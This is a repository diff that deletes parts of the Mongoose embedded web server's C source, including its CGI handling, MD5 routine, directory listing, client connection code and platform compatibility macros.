char buf[16384], *pbuf, dir[PATH_MAX], *p;
struct mg_request_info ri;
struct cgi_env_block blk;
FILE *in = NULL, *out = NULL;
pid_t pid = (pid_t) -1;
memset(&ri, 0, sizeof(ri));
prepare_cgi_environment(conn, prog, &blk);
// CGI must be executed in its own directory. 'dir' must point to the
// directory containing executable program, 'p' must point to the
// executable program name relative to 'dir'.
(void) mg_snprintf(dir, sizeof(dir), "%s", prog);
if ((p = strrchr(dir, '/')) != NULL) {
*p++ = '\0';
} else {
dir[0] = '.', dir[1] = '\0';
p = (char *) prog;
}
if (pipe(fdin) != 0 || pipe(fdout) != 0) {
send_http_error(conn, 500, http_500_error,
"Cannot create CGI pipe: %s", strerror(ERRNO));
goto done;
}
pid = spawn_process(conn, p, blk.buf, blk.vars, fdin[0], fdout[1], dir);
if (pid == (pid_t) -1) {
send_http_error(conn, 500, http_500_error,
"Cannot spawn CGI process [%s]: %s", prog, strerror(ERRNO));
goto done;
}
// Make sure child closes all pipe descriptors. It must dup them to 0,1
set_close_on_exec(fdin[0]);
set_close_on_exec(fdin[1]);
set_close_on_exec(fdout[0]);
set_close_on_exec(fdout[1]);
// Parent closes only one side of the pipes.
// If we don't mark them as closed, close() attempt before
// return from this function throws an exception on Windows.
// Windows does not like when closed descriptor is closed again.
(void) close(fdin[0]);
(void) close(fdout[1]);
fdin[0] = fdout[1] = -1;
if ((in = fdopen(fdin[1], "wb")) == NULL ||
(out = fdopen(fdout[0], "rb")) == NULL) {
send_http_error(conn, 500, http_500_error,
"fopen: %s", strerror(ERRNO));
goto done;
}
setbuf(in, NULL);
setbuf(out, NULL);
// Send POST data to the CGI process if needed
if (!strcmp(conn->request_info.request_method, "POST") &&
!forward_body_data(conn, in, INVALID_SOCKET, NULL)) {
goto done;
}
// Close so child gets an EOF.
fclose(in);
in = NULL;
fdin[1] = -1;
// Now read CGI reply into a buffer. We need to set correct
// status code, thus we need to see all HTTP headers first.
// Do not send anything back to client, until we buffer in all
// HTTP headers.
data_len = 0;
headers_len = read_request(out, conn, buf, sizeof(buf), &data_len);
if (headers_len <= 0) {
send_http_error(conn, 500, http_500_error,
"CGI program sent malformed or too big (>%u bytes) "
"HTTP headers: [%.*s]",
(unsigned) sizeof(buf), data_len, buf);
goto done;
}
pbuf = buf;
buf[headers_len - 1] = '\0';
parse_http_headers(&pbuf, &ri);
// Make up and send the status line
status_text = "OK";
if ((status = get_header(&ri, "Status")) != NULL) {
conn->status_code = atoi(status);
status_text = status;
while (isdigit(* (unsigned char *) status_text) || *status_text == ' ') {
status_text++;
}
} else if (get_header(&ri, "Location") != NULL) {
conn->status_code = 302;
} else {
conn->status_code = 200;
}
if (get_header(&ri, "Connection") != NULL &&
!mg_strcasecmp(get_header(&ri, "Connection"), "keep-alive")) {
conn->must_close = 1;
}
(void) mg_printf(conn, "HTTP/1.1 %d %s\r\n", conn->status_code,
status_text);
// Send headers
for (i = 0; i < ri.num_headers; i++) {
mg_printf(conn, "%s: %s\r\n",
ri.http_headers[i].name, ri.http_headers[i].value);
}
mg_write(conn, "\r\n", 2);
// Send chunk of data that may have been read after the headers
conn->num_bytes_sent += mg_write(conn, buf + headers_len,
(size_t)(data_len - headers_len));
// Read the rest of CGI output and send to the client
send_file_data(conn, out, 0, INT64_MAX);
done:
if (pid != (pid_t) -1) {
kill(pid, SIGKILL);
}
if (fdin[0] != -1) {
close(fdin[0]);
}
if (fdout[1] != -1) {
close(fdout[1]);
}
if (in != NULL) {
fclose(in);
} else if (fdin[1] != -1) {
close(fdin[1]);
}
if (out != NULL) {
fclose(out);
} else if (fdout[0] != -1) {
close(fdout[0]);
}
}
#endif // !NO_CGI
-2832
View File
File diff suppressed because it is too large. Load diff
-91
View File
@@ -1,91 +0,0 @@
// Copyright (c) 2004-2013 Sergey Lyubka <valenok@gmail.com>
// Copyright (c) 2013 Cesanta Software Limited
// All rights reserved
//
// This library is dual-licensed: you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation. For the terms of this
// license, see <http://www.gnu.org/licenses/>.
//
// You are free to use this library under the terms of the GNU General
// Public License, but WITHOUT ANY WARRANTY; without even the implied
// warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
// See the GNU General Public License for more details.
//
// Alternatively, you can license this library under a commercial
// license, as set out in <http://cesanta.com/products.html>.
//
// NOTE: Detailed API documentation is at http://cesanta.com/docs.html
#ifndef MONGOOSE_HEADER_INCLUDED
#define MONGOOSE_HEADER_INCLUDED
#include <stdio.h> // required for FILE
#include <stddef.h> // required for size_t
#ifdef __cplusplus
extern "C" {
#endif // __cplusplus
// This structure contains information about HTTP request.
struct mg_connection {
const char *request_method; // "GET", "POST", etc
const char *uri; // URL-decoded URI
const char *http_version; // E.g. "1.0", "1.1"
const char *query_string; // URL part after '?', not including '?', or NULL
char remote_ip[48]; // Max IPv6 string length is 45 characters
int remote_port; // Client's port
int num_headers; // Number of HTTP headers
struct mg_header {
const char *name; // HTTP header name
const char *value; // HTTP header value
} http_headers[30];
char *content; // POST (or websocket message) data, or NULL
int content_len; // content length
int is_websocket; // Connection is a websocket connection
int status_code; // HTTP status code for HTTP error handler
unsigned char wsbits; // First byte of the websocket frame
void *server_param; // Parameter passed to mg_add_uri_handler()
void *connection_param; // Placeholder for connection-specific data
};
struct mg_server; // Opaque structure describing server instance
typedef int (*mg_handler_t)(struct mg_connection *);
// Server management functions
struct mg_server *mg_create_server(void *server_param);
void mg_destroy_server(struct mg_server **);
const char *mg_set_option(struct mg_server *, const char *opt, const char *val);
void mg_poll_server(struct mg_server *, int milliseconds);
void mg_add_uri_handler(struct mg_server *, const char *uri, mg_handler_t);
void mg_set_error_handler(struct mg_server *, mg_handler_t);
void mg_set_log_handler(struct mg_server*, mg_handler_t);
const char **mg_get_valid_option_names(void);
const char *mg_get_option(const struct mg_server *server, const char *name);
int mg_iterate_over_connections(struct mg_server *,
void (*func)(struct mg_connection *, void *),
void *param);
// Connection management functions
int mg_write(struct mg_connection *, const void *buf, int len);
int mg_websocket_write(struct mg_connection *, int opcode,
const char *data, size_t data_len);
const char *mg_get_header(const struct mg_connection *, const char *name);
const char *mg_get_mime_type(const char *file_name);
int mg_get_var(const struct mg_connection *conn, const char *var_name,
char *buf, size_t buf_len);
int mg_parse_header(const char *hdr, const char *var_name, char *buf, size_t);
// Utility functions
int mg_start_thread(void *(*func)(void *), void *param);
#ifdef __cplusplus
}
#endif // __cplusplus
#endif // MONGOOSE_HEADER_INCLUDED
-196
View File
@@ -1,196 +0,0 @@
static int is_big_endian(void) {
static const int n = 1;
return ((char *) &n)[0] == 0;
}
#ifndef HAVE_MD5
typedef struct MD5Context {
uint32_t buf[4];
uint32_t bits[2];
unsigned char in[64];
} MD5_CTX;
static void byteReverse(unsigned char *buf, unsigned longs) {
uint32_t t;
// Forrest: MD5 expect LITTLE_ENDIAN, swap if BIG_ENDIAN
if (is_big_endian()) {
do {
t = (uint32_t) ((unsigned) buf[3] << 8 | buf[2]) << 16 |
((unsigned) buf[1] << 8 | buf[0]);
* (uint32_t *) buf = t;
buf += 4;
} while (--longs);
}
}
#define F1(x, y, z) (z ^ (x & (y ^ z)))
#define F2(x, y, z) F1(z, x, y)
#define F3(x, y, z) (x ^ y ^ z)
#define F4(x, y, z) (y ^ (x | ~z))
#define MD5STEP(f, w, x, y, z, data, s) \
( w += f(x, y, z) + data, w = w<<s | w>>(32-s), w += x )
// Start MD5 accumulation. Set bit count to 0 and buffer to mysterious
// initialization constants.
static void MD5Init(MD5_CTX *ctx) {
ctx->buf[0] = 0x67452301;
ctx->buf[1] = 0xefcdab89;
ctx->buf[2] = 0x98badcfe;
ctx->buf[3] = 0x10325476;
ctx->bits[0] = 0;
ctx->bits[1] = 0;
}
static void MD5Transform(uint32_t buf[4], uint32_t const in[16]) {
register uint32_t a, b, c, d;
a = buf[0];
b = buf[1];
c = buf[2];
d = buf[3];
MD5STEP(F1, a, b, c, d, in[0] + 0xd76aa478, 7);
MD5STEP(F1, d, a, b, c, in[1] + 0xe8c7b756, 12);
MD5STEP(F1, c, d, a, b, in[2] + 0x242070db, 17);
MD5STEP(F1, b, c, d, a, in[3] + 0xc1bdceee, 22);
MD5STEP(F1, a, b, c, d, in[4] + 0xf57c0faf, 7);
MD5STEP(F1, d, a, b, c, in[5] + 0x4787c62a, 12);
MD5STEP(F1, c, d, a, b, in[6] + 0xa8304613, 17);
MD5STEP(F1, b, c, d, a, in[7] + 0xfd469501, 22);
MD5STEP(F1, a, b, c, d, in[8] + 0x698098d8, 7);
MD5STEP(F1, d, a, b, c, in[9] + 0x8b44f7af, 12);
MD5STEP(F1, c, d, a, b, in[10] + 0xffff5bb1, 17);
MD5STEP(F1, b, c, d, a, in[11] + 0x895cd7be, 22);
MD5STEP(F1, a, b, c, d, in[12] + 0x6b901122, 7);
MD5STEP(F1, d, a, b, c, in[13] + 0xfd987193, 12);
MD5STEP(F1, c, d, a, b, in[14] + 0xa679438e, 17);
MD5STEP(F1, b, c, d, a, in[15] + 0x49b40821, 22);
MD5STEP(F2, a, b, c, d, in[1] + 0xf61e2562, 5);
MD5STEP(F2, d, a, b, c, in[6] + 0xc040b340, 9);
MD5STEP(F2, c, d, a, b, in[11] + 0x265e5a51, 14);
MD5STEP(F2, b, c, d, a, in[0] + 0xe9b6c7aa, 20);
MD5STEP(F2, a, b, c, d, in[5] + 0xd62f105d, 5);
MD5STEP(F2, d, a, b, c, in[10] + 0x02441453, 9);
MD5STEP(F2, c, d, a, b, in[15] + 0xd8a1e681, 14);
MD5STEP(F2, b, c, d, a, in[4] + 0xe7d3fbc8, 20);
MD5STEP(F2, a, b, c, d, in[9] + 0x21e1cde6, 5);
MD5STEP(F2, d, a, b, c, in[14] + 0xc33707d6, 9);
MD5STEP(F2, c, d, a, b, in[3] + 0xf4d50d87, 14);
MD5STEP(F2, b, c, d, a, in[8] + 0x455a14ed, 20);
MD5STEP(F2, a, b, c, d, in[13] + 0xa9e3e905, 5);
MD5STEP(F2, d, a, b, c, in[2] + 0xfcefa3f8, 9);
MD5STEP(F2, c, d, a, b, in[7] + 0x676f02d9, 14);
MD5STEP(F2, b, c, d, a, in[12] + 0x8d2a4c8a, 20);
MD5STEP(F3, a, b, c, d, in[5] + 0xfffa3942, 4);
MD5STEP(F3, d, a, b, c, in[8] + 0x8771f681, 11);
MD5STEP(F3, c, d, a, b, in[11] + 0x6d9d6122, 16);
MD5STEP(F3, b, c, d, a, in[14] + 0xfde5380c, 23);
MD5STEP(F3, a, b, c, d, in[1] + 0xa4beea44, 4);
MD5STEP(F3, d, a, b, c, in[4] + 0x4bdecfa9, 11);
MD5STEP(F3, c, d, a, b, in[7] + 0xf6bb4b60, 16);
MD5STEP(F3, b, c, d, a, in[10] + 0xbebfbc70, 23);
MD5STEP(F3, a, b, c, d, in[13] + 0x289b7ec6, 4);
MD5STEP(F3, d, a, b, c, in[0] + 0xeaa127fa, 11);
MD5STEP(F3, c, d, a, b, in[3] + 0xd4ef3085, 16);
MD5STEP(F3, b, c, d, a, in[6] + 0x04881d05, 23);
MD5STEP(F3, a, b, c, d, in[9] + 0xd9d4d039, 4);
MD5STEP(F3, d, a, b, c, in[12] + 0xe6db99e5, 11);
MD5STEP(F3, c, d, a, b, in[15] + 0x1fa27cf8, 16);
MD5STEP(F3, b, c, d, a, in[2] + 0xc4ac5665, 23);
MD5STEP(F4, a, b, c, d, in[0] + 0xf4292244, 6);
MD5STEP(F4, d, a, b, c, in[7] + 0x432aff97, 10);
MD5STEP(F4, c, d, a, b, in[14] + 0xab9423a7, 15);
MD5STEP(F4, b, c, d, a, in[5] + 0xfc93a039, 21);
MD5STEP(F4, a, b, c, d, in[12] + 0x655b59c3, 6);
MD5STEP(F4, d, a, b, c, in[3] + 0x8f0ccc92, 10);
MD5STEP(F4, c, d, a, b, in[10] + 0xffeff47d, 15);
MD5STEP(F4, b, c, d, a, in[1] + 0x85845dd1, 21);
MD5STEP(F4, a, b, c, d, in[8] + 0x6fa87e4f, 6);
MD5STEP(F4, d, a, b, c, in[15] + 0xfe2ce6e0, 10);
MD5STEP(F4, c, d, a, b, in[6] + 0xa3014314, 15);
MD5STEP(F4, b, c, d, a, in[13] + 0x4e0811a1, 21);
MD5STEP(F4, a, b, c, d, in[4] + 0xf7537e82, 6);
MD5STEP(F4, d, a, b, c, in[11] + 0xbd3af235, 10);
MD5STEP(F4, c, d, a, b, in[2] + 0x2ad7d2bb, 15);
MD5STEP(F4, b, c, d, a, in[9] + 0xeb86d391, 21);
buf[0] += a;
buf[1] += b;
buf[2] += c;
buf[3] += d;
}
static void MD5Update(MD5_CTX *ctx, unsigned char const *buf, unsigned len) {
uint32_t t;
t = ctx->bits[0];
if ((ctx->bits[0] = t + ((uint32_t) len << 3)) < t)
ctx->bits[1]++;
ctx->bits[1] += len >> 29;
t = (t >> 3) & 0x3f;
if (t) {
unsigned char *p = (unsigned char *) ctx->in + t;
t = 64 - t;
if (len < t) {
memcpy(p, buf, len);
return;
}
memcpy(p, buf, t);
byteReverse(ctx->in, 16);
MD5Transform(ctx->buf, (uint32_t *) ctx->in);
buf += t;
len -= t;
}
while (len >= 64) {
memcpy(ctx->in, buf, 64);
byteReverse(ctx->in, 16);
MD5Transform(ctx->buf, (uint32_t *) ctx->in);
buf += 64;
len -= 64;
}
memcpy(ctx->in, buf, len);
}
static void MD5Final(unsigned char digest[16], MD5_CTX *ctx) {
unsigned count;
unsigned char *p;
uint32_t *a;
count = (ctx->bits[0] >> 3) & 0x3F;
p = ctx->in + count;
*p++ = 0x80;
count = 64 - 1 - count;
if (count < 8) {
memset(p, 0, count);
byteReverse(ctx->in, 16);
MD5Transform(ctx->buf, (uint32_t *) ctx->in);
memset(ctx->in, 0, 56);
} else {
memset(p, 0, count - 8);
}
byteReverse(ctx->in, 14);
a = (uint32_t *)ctx->in;
a[14] = ctx->bits[0];
a[15] = ctx->bits[1];
MD5Transform(ctx->buf, (uint32_t *) ctx->in);
byteReverse((unsigned char *) ctx->buf, 4);
memcpy(digest, ctx->buf, 16);
memset((char *) ctx, 0, sizeof(*ctx));
}
#endif // !HAVE_MD5
-271
View File
@@ -1,271 +0,0 @@
#include "internal.h"
static void print_dir_entry(const struct de *de) {
char size[64], mod[64], href[PATH_MAX * 3];
const char *slash = de->file.is_directory ? "/" : "";
if (de->file.is_directory) {
mg_snprintf(size, sizeof(size), "%s", "[DIRECTORY]");
} else {
// We use (signed) cast below because MSVC 6 compiler cannot
// convert unsigned __int64 to double. Sigh.
if (de->file.size < 1024) {
mg_snprintf(size, sizeof(size), "%d", (int) de->file.size);
} else if (de->file.size < 0x100000) {
mg_snprintf(size, sizeof(size),
"%.1fk", (double) de->file.size / 1024.0);
} else if (de->file.size < 0x40000000) {
mg_snprintf(size, sizeof(size),
"%.1fM", (double) de->file.size / 1048576);
} else {
mg_snprintf(size, sizeof(size),
"%.1fG", (double) de->file.size / 1073741824);
}
}
strftime(mod, sizeof(mod), "%d-%b-%Y %H:%M",
localtime(&de->file.modification_time));
mg_url_encode(de->file_name, href, sizeof(href));
de->conn->num_bytes_sent += mg_chunked_printf(de->conn,
"<tr><td><a href=\"%s%s%s\">%s%s</a></td>"
"<td>&nbsp;%s</td><td>&nbsp;&nbsp;%s</td></tr>\n",
de->conn->request_info.uri, href, slash, de->file_name, slash, mod, size);
}
// This function is called from send_directory() and used for
// sorting directory entries by size, or name, or modification time.
// On windows, __cdecl specification is needed in case if project is built
// with __stdcall convention. qsort always requires __cdels callback.
static int WINCDECL compare_dir_entries(const void *p1, const void *p2) {
const struct de *a = (const struct de *) p1, *b = (const struct de *) p2;
const char *query_string = a->conn->request_info.query_string;
int cmp_result = 0;
if (query_string == NULL) {
query_string = "na";
}
if (a->file.is_directory && !b->file.is_directory) {
return -1; // Always put directories on top
} else if (!a->file.is_directory && b->file.is_directory) {
return 1; // Always put directories on top
} else if (*query_string == 'n') {
cmp_result = strcmp(a->file_name, b->file_name);
} else if (*query_string == 's') {
cmp_result = a->file.size == b->file.size ? 0 :
a->file.size > b->file.size ? 1 : -1;
} else if (*query_string == 'd') {
cmp_result = a->file.modification_time == b->file.modification_time ? 0 :
a->file.modification_time > b->file.modification_time ? 1 : -1;
}
return query_string[1] == 'd' ? -cmp_result : cmp_result;
}
static int must_hide_file(struct mg_connection *conn, const char *path) {
const char *pw_pattern = "**" PASSWORDS_FILE_NAME "$";
const char *pattern = conn->ctx->config[HIDE_FILES];
return match_prefix(pw_pattern, strlen(pw_pattern), path) > 0 ||
(pattern != NULL && match_prefix(pattern, strlen(pattern), path) > 0);
}
static int scan_directory(struct mg_connection *conn, const char *dir,
void *data, void (*cb)(struct de *, void *)) {
char path[PATH_MAX];
struct dirent *dp;
DIR *dirp;
struct de de;
if ((dirp = opendir(dir)) == NULL) {
return 0;
} else {
de.conn = conn;
while ((dp = readdir(dirp)) != NULL) {
// Do not show current dir and hidden files
if (!strcmp(dp->d_name, ".") ||
!strcmp(dp->d_name, "..") ||
must_hide_file(conn, dp->d_name)) {
continue;
}
mg_snprintf(path, sizeof(path), "%s%c%s", dir, '/', dp->d_name);
// If we don't memset stat structure to zero, mtime will have
// garbage and strftime() will segfault later on in
// print_dir_entry(). memset is required only if mg_stat()
// fails. For more details, see
// http://code.google.com/p/mongoose/issues/detail?id=79
memset(&de.file, 0, sizeof(de.file));
mg_stat(path, &de.file);
de.file_name = dp->d_name;
cb(&de, data);
}
(void) closedir(dirp);
}
return 1;
}
static int remove_directory(struct mg_connection *conn, const char *dir) {
char path[PATH_MAX];
struct dirent *dp;
DIR *dirp;
struct de de;
if ((dirp = opendir(dir)) == NULL) {
return 0;
} else {
de.conn = conn;
while ((dp = readdir(dirp)) != NULL) {
// Do not show current dir, but show hidden files
if (!strcmp(dp->d_name, ".") ||
!strcmp(dp->d_name, "..")) {
continue;
}
mg_snprintf(path, sizeof(path), "%s%c%s", dir, '/', dp->d_name);
// If we don't memset stat structure to zero, mtime will have
// garbage and strftime() will segfault later on in
// print_dir_entry(). memset is required only if mg_stat()
// fails. For more details, see
// http://code.google.com/p/mongoose/issues/detail?id=79
memset(&de.file, 0, sizeof(de.file));
mg_stat(path, &de.file);
if(de.file.modification_time) {
if(de.file.is_directory) {
remove_directory(conn, path);
} else {
mg_remove(path);
}
}
}
(void) closedir(dirp);
rmdir(dir);
}
return 1;
}
struct dir_scan_data {
struct de *entries;
int num_entries;
int arr_size;
};
// Behaves like realloc(), but frees original pointer on failure
static void *realloc2(void *ptr, size_t size) {
void *new_ptr = realloc(ptr, size);
if (new_ptr == NULL) {
free(ptr);
}
return new_ptr;
}
static void dir_scan_callback(struct de *de, void *data) {
struct dir_scan_data *dsd = (struct dir_scan_data *) data;
if (dsd->entries == NULL || dsd->num_entries >= dsd->arr_size) {
dsd->arr_size *= 2;
dsd->entries = (struct de *) realloc2(dsd->entries, dsd->arr_size *
sizeof(dsd->entries[0]));
}
if (dsd->entries == NULL) {
// TODO(lsm): propagate an error to the caller
dsd->num_entries = 0;
} else {
dsd->entries[dsd->num_entries].file_name = mg_strdup(de->file_name);
dsd->entries[dsd->num_entries].file = de->file;
dsd->entries[dsd->num_entries].conn = de->conn;
dsd->num_entries++;
}
}
static void handle_directory_request(struct mg_connection *conn,
const char *dir) {
int i, sort_direction;
struct dir_scan_data data = { NULL, 0, 128 };
if (!scan_directory(conn, dir, &data, dir_scan_callback)) {
send_http_error(conn, 500, "Cannot open directory",
"Error: opendir(%s): %s", dir, strerror(ERRNO));
return;
}
sort_direction = conn->request_info.query_string != NULL &&
conn->request_info.query_string[1] == 'd' ? 'a' : 'd';
conn->must_close = 1;
mg_printf(conn, "%s",
"HTTP/1.1 200 OK\r\n"
"Transfer-Encoding: Chunked\r\n"
"Content-Type: text/html; charset=utf-8\r\n\r\n");
conn->num_bytes_sent += mg_chunked_printf(conn,
"<html><head><title>Index of %s</title>"
"<style>th {text-align: left;}</style></head>"
"<body><h1>Index of %s</h1><pre><table cellpadding=\"0\">"
"<tr><th><a href=\"?n%c\">Name</a></th>"
"<th><a href=\"?d%c\">Modified</a></th>"
"<th><a href=\"?s%c\">Size</a></th></tr>"
"<tr><td colspan=\"3\"><hr></td></tr>",
conn->request_info.uri, conn->request_info.uri,
sort_direction, sort_direction, sort_direction);
// Print first entry - link to a parent directory
conn->num_bytes_sent += mg_chunked_printf(conn,
"<tr><td><a href=\"%s%s\">%s</a></td>"
"<td>&nbsp;%s</td><td>&nbsp;&nbsp;%s</td></tr>\n",
conn->request_info.uri, "..", "Parent directory", "-", "-");
// Sort and print directory entries
qsort(data.entries, (size_t) data.num_entries, sizeof(data.entries[0]),
compare_dir_entries);
for (i = 0; i < data.num_entries; i++) {
print_dir_entry(&data.entries[i]);
free(data.entries[i].file_name);
}
free(data.entries);
conn->num_bytes_sent += mg_chunked_printf(conn, "%s",
"</table></body></html>");
conn->num_bytes_sent += mg_write(conn, "0\r\n\r\n", 5);
conn->status_code = 200;
}
// For a given PUT path, create all intermediate subdirectories
// for given path. Return 0 if the path itself is a directory,
// or -1 on error, 1 if OK.
static int put_dir(const char *path) {
char buf[PATH_MAX];
const char *s, *p;
struct file file = STRUCT_FILE_INITIALIZER;
int len, res = 1;
for (s = p = path + 2; (p = strchr(s, '/')) != NULL; s = ++p) {
len = p - path;
if (len >= (int) sizeof(buf)) {
res = -1;
break;
}
memcpy(buf, path, len);
buf[len] = '\0';
// Try to create intermediate directory
DEBUG_TRACE(("mkdir(%s)", buf));
if (!mg_stat(buf, &file) && mg_mkdir(buf, 0755) != 0) {
res = -1;
break;
}
// Is path itself a directory?
if (p[1] == '\0') {
res = 0;
}
}
return res;
}
-97
View File
@@ -1,97 +0,0 @@
#include "internal.h"
static SOCKET conn2(const char *host, int port, int use_ssl,
char *ebuf, size_t ebuf_len) {
struct sockaddr_in sin;
struct hostent *he = NULL;
SOCKET sock = INVALID_SOCKET;
(void) use_ssl; // Prevent warning for -DNO_SSL case
if (host == NULL) {
snprintf(ebuf, ebuf_len, "%s", "NULL host");
#ifndef NO_SSL
} else if (use_ssl && SSLv23_client_method == NULL) {
snprintf(ebuf, ebuf_len, "%s", "SSL is not initialized");
// TODO(lsm): use something threadsafe instead of gethostbyname()
#endif
} else if ((he = gethostbyname(host)) == NULL) {
snprintf(ebuf, ebuf_len, "gethostbyname(%s): %s", host, strerror(ERRNO));
} else if ((sock = socket(PF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) {
snprintf(ebuf, ebuf_len, "socket(): %s", strerror(ERRNO));
} else {
set_close_on_exec(sock);
sin.sin_family = AF_INET;
sin.sin_port = htons((uint16_t) port);
sin.sin_addr = * (struct in_addr *) he->h_addr_list[0];
if (connect(sock, (struct sockaddr *) &sin, sizeof(sin)) != 0) {
snprintf(ebuf, ebuf_len, "connect(%s:%d): %s",
host, port, strerror(ERRNO));
closesocket(sock);
sock = INVALID_SOCKET;
}
}
return sock;
}
struct mg_connection *mg_connect(const char *host, int port, int use_ssl,
char *ebuf, size_t ebuf_len) {
static struct mg_context fake_ctx;
struct mg_connection *conn = NULL;
SOCKET sock;
if ((sock = conn2(host, port, use_ssl, ebuf, ebuf_len)) == INVALID_SOCKET) {
} else if ((conn = (struct mg_connection *)
calloc(1, sizeof(*conn) + MAX_REQUEST_SIZE)) == NULL) {
snprintf(ebuf, ebuf_len, "calloc(): %s", strerror(ERRNO));
closesocket(sock);
#ifndef NO_SSL
} else if (use_ssl && (conn->client_ssl_ctx =
SSL_CTX_new(SSLv23_client_method())) == NULL) {
snprintf(ebuf, ebuf_len, "SSL_CTX_new error");
closesocket(sock);
free(conn);
conn = NULL;
#endif // NO_SSL
} else {
socklen_t len = sizeof(struct sockaddr);
conn->buf_size = MAX_REQUEST_SIZE;
conn->buf = (char *) (conn + 1);
conn->ctx = &fake_ctx;
conn->client.sock = sock;
getsockname(sock, &conn->client.rsa.sa, &len);
conn->client.is_ssl = use_ssl;
#ifndef NO_SSL
if (use_ssl) {
// SSL_CTX_set_verify call is needed to switch off server certificate
// checking, which is off by default in OpenSSL and on in yaSSL.
SSL_CTX_set_verify(conn->client_ssl_ctx, 0, 0);
sslize(conn, conn->client_ssl_ctx, SSL_connect);
}
#endif
}
return conn;
}
struct mg_connection *mg_download(const char *host, int port, int use_ssl,
char *ebuf, size_t ebuf_len,
const char *fmt, ...) {
struct mg_connection *conn;
const char *msg = NULL;
va_list ap;
va_start(ap, fmt);
if ((conn = mg_connect(host, port, use_ssl, ebuf, ebuf_len)) == NULL) {
} else if (mg_vprintf(conn, fmt, ap) <= 0) {
snprintf(ebuf, ebuf_len, "%s", "Error sending request");
} else {
msg = getreq(conn);
}
if (msg != NULL && conn != NULL) {
mg_close_connection(conn);
conn = NULL;
}
return conn;
}
-458
View File
@@ -1,458 +0,0 @@
// Copyright (c) 2004-2013 Sergey Lyubka <valenok@gmail.com>
// Copyright (c) 2013 Cesanta Software Limited
// All rights reserved
//
// This library is dual-licensed: you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation. For the terms of this
// license, see <http://www.gnu.org/licenses/>.
//
// You are free to use this library under the terms of the GNU General
// Public License, but WITHOUT ANY WARRANTY; without even the implied
// warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
// See the GNU General Public License for more details.
//
// Alternatively, you can license this library under a commercial
// license, as set out in <http://cesanta.com/products.html>.
#if defined(_WIN32)
#undef _UNICODE
#define _MBCS
#if !defined(_CRT_SECURE_NO_WARNINGS)
#define _CRT_SECURE_NO_WARNINGS // Disable deprecation warning in VS2005
#endif
#else
#ifdef __linux__
#define _XOPEN_SOURCE 600 // For flockfile() on Linux
#endif
#if !defined(_LARGEFILE_SOURCE)
#define _LARGEFILE_SOURCE // Enable 64-bit file offsets
#endif
#define __STDC_FORMAT_MACROS // <inttypes.h> wants this for C++
#define __STDC_LIMIT_MACROS // C++ wants that for INT64_MAX
#endif
#if defined (_MSC_VER)
// conditional expression is constant: introduced by FD_SET(..)
#pragma warning (disable : 4127)
// non-constant aggregate initializer: issued due to missing C99 support
#pragma warning (disable : 4204)
#endif
// Disable WIN32_LEAN_AND_MEAN.
// This makes windows.h always include winsock2.h
#ifdef WIN32_LEAN_AND_MEAN
#undef WIN32_LEAN_AND_MEAN
#endif
#ifndef _WIN32_WCE // Some ANSI #includes are not available on Windows CE
#include <sys/types.h>
#include <sys/stat.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#endif // !_WIN32_WCE
#include <time.h>
#include <stdlib.h>
#include <stdarg.h>
#include <assert.h>
#include <string.h>
#include <ctype.h>
#include <limits.h>
#include <stddef.h>
#include <stdio.h>
#if defined(_WIN32) // Windows specific
#undef _WIN32_WINNT
#define _WIN32_WINNT 0x0400 // To make it link in VS2005
#include <windows.h>
#ifndef PATH_MAX
#define PATH_MAX MAX_PATH
#endif
#ifndef _WIN32_WCE
#include <process.h>
#include <direct.h>
#include <io.h>
#else // _WIN32_WCE
#define NO_CGI // WinCE has no pipes
typedef long off_t;
#define errno GetLastError()
#define strerror(x) _ultoa(x, (char *) _alloca(sizeof(x) *3 ), 10)
#endif // _WIN32_WCE
#define MAKEUQUAD(lo, hi) ((uint64_t)(((uint32_t)(lo)) | \
((uint64_t)((uint32_t)(hi))) << 32))
#define RATE_DIFF 10000000 // 100 nsecs
#define EPOCH_DIFF MAKEUQUAD(0xd53e8000, 0x019db1de)
#define SYS2UNIX_TIME(lo, hi) \
(time_t) ((MAKEUQUAD((lo), (hi)) - EPOCH_DIFF) / RATE_DIFF)
// Visual Studio 6 does not know __func__ or __FUNCTION__
// The rest of MS compilers use __FUNCTION__, not C99 __func__
// Also use _strtoui64 on modern M$ compilers
#if defined(_MSC_VER) && _MSC_VER < 1300
#define STRX(x) #x
#define STR(x) STRX(x)
#define __func__ __FILE__ ":" STR(__LINE__)
#define strtoull(x, y, z) (unsigned __int64) _atoi64(x)
#define strtoll(x, y, z) _atoi64(x)
#else
#define __func__ __FUNCTION__
#define strtoull(x, y, z) _strtoui64(x, y, z)
#define strtoll(x, y, z) _strtoi64(x, y, z)
#endif // _MSC_VER
#define ERRNO GetLastError()
#define NO_SOCKLEN_T
#define SSL_LIB "ssleay32.dll"
#define CRYPTO_LIB "libeay32.dll"
#define O_NONBLOCK 0
#if !defined(EWOULDBLOCK)
#define EWOULDBLOCK WSAEWOULDBLOCK
#endif // !EWOULDBLOCK
#define _POSIX_
#define INT64_FMT "I64d"
#define WINCDECL __cdecl
#define SHUT_WR 1
#define snprintf _snprintf
#define vsnprintf _vsnprintf
#define mg_sleep(x) Sleep(x)
#define pipe(x) _pipe(x, MG_BUF_LEN, _O_BINARY)
#ifndef popen
#define popen(x, y) _popen(x, y)
#endif
#ifndef pclose
#define pclose(x) _pclose(x)
#endif
#define close(x) _close(x)
#define dlsym(x,y) GetProcAddress((HINSTANCE) (x), (y))
#define RTLD_LAZY 0
#define fseeko(x, y, z) _lseeki64(_fileno(x), (y), (z))
#define fdopen(x, y) _fdopen((x), (y))
#define write(x, y, z) _write((x), (y), (unsigned) z)
#define read(x, y, z) _read((x), (y), (unsigned) z)
#define flockfile(x)
#define funlockfile(x)
#define sleep(x) Sleep((x) * 1000)
#define rmdir(x) _rmdir(x)
#if !defined(va_copy)
#define va_copy(x, y) x = y
#endif // !va_copy MINGW #defines va_copy
#if !defined(fileno)
#define fileno(x) _fileno(x)
#endif // !fileno MINGW #defines fileno
typedef HANDLE pthread_mutex_t;
typedef DWORD pthread_t;
#define pid_t HANDLE // MINGW typedefs pid_t to int. Using #define here.
static int pthread_mutex_lock(pthread_mutex_t *);
static int pthread_mutex_unlock(pthread_mutex_t *);
